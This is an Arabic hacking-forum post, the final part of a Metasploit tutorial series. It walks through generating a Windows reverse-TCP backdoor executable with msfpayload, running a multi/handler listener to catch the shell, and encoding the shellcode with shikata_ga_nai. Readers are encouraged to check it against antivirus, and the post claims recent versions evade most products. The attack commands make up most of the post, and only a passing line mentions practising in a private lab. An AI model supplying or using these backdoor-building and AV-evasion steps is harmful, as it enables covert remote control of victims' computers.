مرحباً بكم مجدداً ياأعضاء منتديات جيوش الهكر ، اليوم راح نتناول موضوع مهم واستخدام مهم لإداة الميتاسبلويت ، سنتناول بإذن الله عملية ، صناعة باك دور - وشيل كود وتشفيرة ، لنتابع...
صناعة Shellcode / Backdoor وتشفيره
من أهم ميزات مشروع ميتاسبلويت قدرته على صناعة شيل كود بالخيارات التي نريدها بمنتهى السرعة والسهولة, كما قلت سابقا سنحتاج للشيل كود في كتابة استغلال الثغرة فعندما يتم اكتشاف ثغرة في برنامج ما يجب أن يتم برمجة برنامج بسيط يقوم باستغلالها وهذا الأمر يرجع للمكتشف فالبعض يختار Perl , Python , C حسب الثغرة وطبيعتها لكن الأمر المؤكد أننا سنحتاج لشيل كود مبرمج بلغة Assembly بخصائص معينة, يتم حقنه داخل الذاكرة وتنفيذه من قبل المعالج مباشرة مع العلم أن برمجة هذا الكود ليس بالأمر السهل لذلك الأغلبية يلجأ لاستخدام Shellcode جاهز بخيارات محددة مسبقا أما في مشروع ميتاسبلويت فالأمر أسهل من ذلك وأفضل بكثير.. يكفي أنك قادر على صناعة Shellcode بالخيارات التي تريدها خلال بضعة ثوان!
نستطيع صناعة الـ Shellcode الذي نريده باستخدام الأداة msfpayload الموجودة داخل مجلد المشروع ونستخدم msfencode لتشفيره, في البداية نقوم باستعراض الـ Shellcodes الموجودة داخل المشروع وخيارات msfpayload باستخدام الأمر:
لنفرض أننا نريد استخدم windows/shell/reverse_tcp لانشاء اتصال عكسي, في البداية ننفذ الأمر التالي لمعرفة خيارات الشيل كود:
كود:
./msfpayload windows/shell/reverse_tcp S
لاحظ أن طريقة استخدام الأداة msfpayload نفس msfcli تماما, لصناعة شيل كود يستخدم في برمجة اسغلال مكتوب بلغة C نقوم في البداية بتحديد الخيارات التي نريدها باستخدام الأمر:
[/SIZE]
كود:
./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.1 LPORT=22445 C
نستطيع استبدال C بـ y للغة روبي وبـ P للغة Perl وهكذا… راجع خيارات msfpayload لمعرفة باقي اللغات لكن المميز بالأمر هو قدرة المشروع على صناعة ملف تنفيذي بالامتداد exe (باك دور بسيط) نعيد تنفيذ الأمر السابق مع استبدال C بـ X لكن بهذه الحالة يجب ارسال المخرجات لملف وليس طباعتها على الشاشة! لذلك ننفذ الأمر بهذا الشكل:
كود:
./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.1 LPORT=22445 X > reverse_tcp.exe
الأن يجب أن نقوم بتشغيل Exploit Handler ليتولى أمر الاتصال العكسي وينجح الاستغلال, شغّل سطر أوامر المشروع وننفذ الأوامر التالية:
كود:
./msfconsole
msf > use multi/handler
msf exploit(handler) > set LHOST 192.168.2.1
msf exploit(handler) > exploit
لاحظ أننا أدخلنا نفس خيارات الباك دوور reverse_tcp.exe. عند قيام المستخدم بتشغيل الملف التنفيذي سنحصل على revers remote shell كما هو واضح بالصورة التالية:
الأداة msfencode تقوم بتشفير الشيل كود باحدى المشفّرات التي يوفرها المشروع, في البداية نقوم بصناعة الشيل كود الذي نريده (بصيغة Raw) ونرسل المخرجات لملف باسم shellcode.raw مثلا باستخدام الأمر:
كود:
./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.1 LPORT=22445 R > shellcode.raw
الآن نستعرض خيارات الأداة msfencode بتنفذ الأمر:
لتشفير الشيل كود الموجود داخل الملف shellcode.raw ننفذ الأمر:
كود:
./msfencode -i shellcode.raw -e x86/shikata_ga_nai -b'\x00\xff' -t c -o shellcode.c
في الأمر السابق قمنا بتشفير الشيل كود باستخدام المشفّر x86/shikata_ga_nai مع تجنب استخدام الحروف \x00\xff لأن هذه الحروف تؤدي لتوقف الشيل كود عن العمل عند تشغيله داخل الذاكرة ثم أرسلنا الشيل كود المشفّر للمف shellcode.c لاستخدامه باستغلال مبرمج بلغة C. نستطيع استخدام encoder آخر كل ماعلينا هو تنفيذ الأمر:
لاستعراض المشفّرات الموجودة داخل المشروع, نستطيع استخدام الأداتين msfpayload و msfencode بنفس الوقت وتصدير الشيل كود لملف أو طباعته على الشاشة مثلا بشكله النهائي باستخدام الأمر:
كود:
./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.1 LPORT=22445 R | ./msfencode
-e x86/shikata_ga_nai -b'\x00\xff' -t c
حسناً حاول أن تقوم بصنع باك بدور لنظام ويندوز باستخدام msfpayload ومن ثم تشفيره باحدى المشفّرات الموجودة في msfencode وحاول فحصة باستخدام مضاد الفايروسات, الاصدارات الحديثة من المشروع تكون غير مكشوفة من معظم مضادات الفايروسات كما تستطيع صنع باكدور Meterpreter واستخدامه بنفس الطريق التي استخدمنا فيها باكدور الاتصال العكسي reverse_tcp.exe
أعلم أني أطلت الموضوع كثيرا وفصّلته بشكل كبير فلقد أردت تغطية أكبر قدر ممكن من امكانيات مشروع ميتاسبلويت وطريقة التعامل معه.. هذا كل شيء حتى الِأن ومن الممكن أن أقوم بكتابة جزء ثالث عن مشروع ميتاسبلويت لاحقا أو أضع شرح فيديو في iSecur1ty أو أدمج المواضيع السابقة وأنسقها من جديد مع بعض الاضافات ليتم تحويلها لكتيّب صغير عن مشروع ميتاسبلويت وكما قلت سابقا ****sploit يتطور بسرعة كبيرة ومع كل اصدار جديد يتم اضافة المزيد من الأدوات والخصائص الجديدة للمشروع ولذلك أنصح بمتابعة موقع المشروع و المدونة الرسمية أيضا وحاول أن تبقي نفسك على اطلاع بـ مجريات تطوير المشروع.
ملاحظة: استخدام مشروع ميتاسبلويت واستغلال ثغراته يجب أن يتم بدقة وليس من الضروري أن تتمكن من استغلال الثغرة واختراق الجهاز من المرة الأولى! يوجد أكثر من 100 احتمال لعدم عمل الاستغلال بالشكل المطلوب وهنا يأتي دورك لاكتشاف السبب وليس دوري! أنا أشرح طريقة الاستخدام وكيفية التعامل مع المشروع لكني لن أتمكن من معرفة لماذا لم يعمل الاستغلال عندك أو لماذا لم تتمكن من اختراق الجهاز!! قد تكون المشكلة نقص بالحزم الموجودة في جهازك أو من الثغرة, الاعدادات التي اخترتها, الاستغلال أو احدى خياراته, اصدار الثغرة, اصدار النظام الذي تحاول اختراقه مختلف, من الممكن أن يكون مدير النظام قد حدّث النظام أو أصلح الثغرة أو حتى وجود جدار ناري أو أنظمة حماية IDS تمنع تنفيذ الاستغلال… باختصار “Think Out The Box” واعتمد على نفسك في حل المشاكل كما أني أنصح بشدة القيام بتطبيق ما قرأته داخل Lab خاص بك والتدرب على استخدام مشروع ميتاسبلويت واستغلال ثغراته بشكل عملي.
إلى هنا نكون أنهينا الجزء الرابع والأخير ، وإن شاء الله سنتناول في مواضيع أخرى تطبيقات عملية لمشروع الميتاسبلويت فترقبونا ...
ودمتم سالمين